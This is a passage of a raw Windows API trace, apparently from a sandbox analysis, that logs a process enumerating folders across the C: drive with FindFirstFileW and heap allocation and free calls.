Size=0x10000) returned 0xc6d888 [0088.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.812] GetProcessHeap () returned 0xc00000 [0088.812] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.812] GetProcessHeap () returned 0xc00000 [0088.812] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.812] GetProcessHeap () returned 0xc00000 [0088.812] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.813] GetProcessHeap () returned 0xc00000 [0088.813] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.829] GetProcessHeap () returned 0xc00000 [0088.829] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3780078 [0088.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.829] GetProcessHeap () returned 0xc00000 [0088.829] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3780078 | out: hHeap=0xc00000) returned 1 [0088.830] GetProcessHeap () returned 0xc00000 [0088.830] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.831] GetProcessHeap () returned 0xc00000 [0088.831] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.832] GetProcessHeap () returned 0xc00000 [0088.832] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.832] GetProcessHeap () returned 0xc00000 [0088.832] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.832] GetProcessHeap () returned 0xc00000 [0088.832] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.832] GetProcessHeap () returned 0xc00000 [0088.832] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.833] GetProcessHeap () returned 0xc00000 [0088.833] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.833] GetProcessHeap () returned 0xc00000 [0088.833] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.835] GetProcessHeap () returned 0xc00000 [0088.835] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.835] GetProcessHeap () returned 0xc00000 [0088.835] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.835] GetProcessHeap () returned 0xc00000 [0088.835] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.835] GetProcessHeap () returned 0xc00000 [0088.835] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0088.836] GetProcessHeap () returned 0xc00000 [0088.836] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.836] GetProcessHeap () returned 0xc00000 [0088.837] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.838] GetProcessHeap () returned 0xc00000 [0088.838] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.838] GetProcessHeap () returned 0xc00000 [0088.838] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.838] GetProcessHeap () returned 0xc00000 [0088.838] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.838] GetProcessHeap () returned 0xc00000 [0088.838] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cb8 [0088.839] GetProcessHeap () returned 0xc00000 [0088.839] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.839] GetProcessHeap () returned 0xc00000 [0088.839] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.840] GetProcessHeap () returned 0xc00000 [0088.840] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.840] GetProcessHeap () returned 0xc00000 [0088.840] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.840] GetProcessHeap () returned 0xc00000 [0088.840] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.840] GetProcessHeap () returned 0xc00000 [0088.840] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.841] GetProcessHeap () returned 0xc00000 [0088.841] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.841] GetProcessHeap () returned 0xc00000 [0088.841] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0088.842] GetProcessHeap () returned 0xc00000 [0088.842] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0088.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.847] GetProcessHeap () returned 0xc00000 [0088.847] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0088.847] GetProcessHeap () returned 0xc00000 [0088.847] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0088.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0089.289] GetProcessHeap () returned 0xc00000 [0089.290] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0089.290] GetProcessHeap () returned 0xc00000 [0089.290] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0089.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0089.294] GetProcessHeap () returned 0xc00000 [0089.294] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0089.294] GetProcessHeap () returned 0xc00000 [0089.294] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0089.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf3351406, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3351406, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.295] GetProcessHeap () returned 0xc00000 [0089.295] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3780078 [0089.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1f1c3c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1f1c3c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cb8 [0089.299] GetProcessHeap () returned 0xc00000 [0089.299] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37a48b0 [0089.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.300] GetProcessHeap () returned 0xc00000 [0089.300] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37a48b0 | out: hHeap=0xc00000) returned 1 [0089.300] GetProcessHeap () returned 0xc00000 [0089.300] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37a48b0 [0089.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0089.300] GetProcessHeap () returned 0xc00000 [0089.300] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0089.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0089.303] GetProcessHeap () returned 0xc00000 [0089.303] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0089.303] GetProcessHeap () returned 0xc00000 [0089.303] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0089.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0089.306] GetProcessHeap () returned 0xc00000 [0089.306] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e96e0 [0089.317] GetProcessHeap () returned 0xc00000 [0089.317] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.317] GetProcessHeap () returned 0xc00000 [0089.317] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.317] GetProcessHeap () returned 0xc00000 [0089.317] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.317] GetProcessHeap () returned 0xc00000 [0089.318] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.318] GetProcessHeap () returned 0xc00000 [0089.318] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.318] GetProcessHeap () returned 0xc00000 [0089.318] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.318] GetProcessHeap () returned 0xc00000 [0089.318] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.318] GetProcessHeap () returned 0xc00000 [0089.318] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0089.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8e60 [0089.322] GetProcessHeap () returned 0xc00000 [0089.322] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0089.323] GetProcessHeap () returned 0xc00000 [0089.323] 